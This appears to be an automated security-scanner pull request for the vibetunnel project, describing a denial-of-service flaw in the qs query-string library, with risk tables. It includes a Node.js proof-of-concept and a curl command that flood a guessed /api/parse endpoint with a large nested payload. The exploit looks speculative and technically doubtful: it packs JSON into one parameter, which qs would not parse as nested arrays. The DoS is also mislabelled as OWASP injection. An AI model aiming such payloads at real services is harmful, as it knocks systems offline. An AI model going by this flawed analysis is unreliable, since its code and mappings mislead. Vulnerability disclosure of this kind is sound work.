Security Fix

This PR addresses a HIGH severity vulnerability detected by our security scanner.

Security Impact Assessment

Aspect	Rating	Rationale
Impact	Medium	In the context of vibetunnel, a web-based tunnel service, exploiting this qs DoS vulnerability could cause the application to crash or become unresponsive when parsing maliciously crafted query strings in HTTP requests, leading to denial of service for users relying on the tunnel functionality without exposing sensitive data or enabling further compromise.
Likelihood	Medium	Given that vibetunnel is a web application likely exposed to user inputs via HTTP endpoints, attackers could potentially send crafted requests to trigger the DoS, but this requires knowledge of the application's query parsing logic and access to the service, making it exploitable under specific conditions rather than trivially.
Ease of Fix	Medium	Remediation involves updating the qs dependency to a patched version in the package.json file and regenerating pnpm-lock.yaml, which may require reviewing for potential breaking changes in qs usage across the codebase and conducting moderate testing to ensure the web service's tunnel operations remain intact.

How This Vulnerability Can Be Exploited

The vulnerability in CVE-2025-15284 affects the qs library, which is used for parsing query strings in Node.js applications. In this repository (vibetunnel), the qs dependency is locked in web/pnpm-lock.yaml, indicating it's part of a web-facing Node.js application (likely an Express.js server or similar, given the structure). An attacker could exploit this by sending HTTP requests with specially crafted query strings to the application's endpoints, causing the qs parser to consume excessive CPU and memory during array parsing, leading to a denial-of-service (DoS) condition that hangs or crashes the process.

// Proof-of-Concept: Node.js script to simulate exploitation
// This assumes the vibetunnel web app runs on localhost:3000 (common default for Node.js apps)
// Replace with actual endpoint if different; run in a test environment only.

const http = require('http');

// Craft a malicious query string that exploits the qs array parsing DoS
// Based on CVE-2025-15284, this involves deeply nested or malformed arrays that cause infinite loops/recursion
const maliciousQuery = 'data=' + encodeURIComponent(
  // Example payload: A deeply nested array structure that triggers improper validation
  // This is a simplified representation; real exploits may vary based on qs version
  JSON.stringify({
    arr: Array(10000).fill().map((_, i) => ({ nested: Array(i).fill('x') }))
  })
);

// Send GET request to a vulnerable endpoint (e.g., assuming /api/parse or similar in vibetunnel)
const options = {
  hostname: 'localhost',
  port: 3000,
  path: `/api/parse?${maliciousQuery}`,  // Adjust path based on vibetunnel's routes
  method: 'GET'
};

const req = http.request(options, (res) => {
  console.log(`Status: ${res.statusCode}`);
  res.on('data', (chunk) => {
    console.log('Response:', chunk.toString());
  });
});

req.on('error', (e) => {
  console.error(`Request failed: ${e.message}`);
});

req.end();

# Alternative: Using curl to send the malicious request directly
# Replace localhost:3000 with the actual host/port of the deployed vibetunnel app
# This can be run from a remote attacker machine if the app is exposed

curl -X GET "http://localhost:3000/api/parse?data=%7B%22arr%22%3A%5B%7B%22nested%22%3A%5B%22x%22%5D%7D%2C%7B%22nested%22%3A%5B%22x%22%2C%22x%22%5D%7D%2C...%5D%7D"  # Truncated; expand to 10k+ nested elements for full DoS
# Note: URL-encode the payload to avoid shell issues; the full payload should be a JSON object with deeply nested arrays as shown in the JS example.

Exploitation Impact Assessment

Impact Category	Severity	Description
Data Exposure	None	This is a DoS vulnerability with no data leakage mechanism; qs parsing failure does not expose sensitive data like user credentials, API keys, or stored files in vibetunnel's database or cache.
System Compromise	Low	Exploitation grants no code execution or privilege escalation; the app process may crash, but an attacker cannot gain shell access, root privileges, or escape containers unless combined with other unrelated vulnerabilities.
Operational Impact	High	Successful DoS can crash the vibetunnel web service, causing complete unavailability for users (e.g., tunneling or AI-related features fail). In a production deployment, this could lead to resource exhaustion across the server, affecting dependent services and requiring restarts or scaling adjustments.
Compliance Risk	Medium	Violates availability requirements in standards like OWASP Top 10 (A03:2021-Injection) and SOC2 CC7.1 (system availability); if vibetunnel handles regulated data (e.g., user interactions in an AI context), it could indirectly contribute to GDPR breaches by disrupting service continuity, though no direct data exposure occurs.
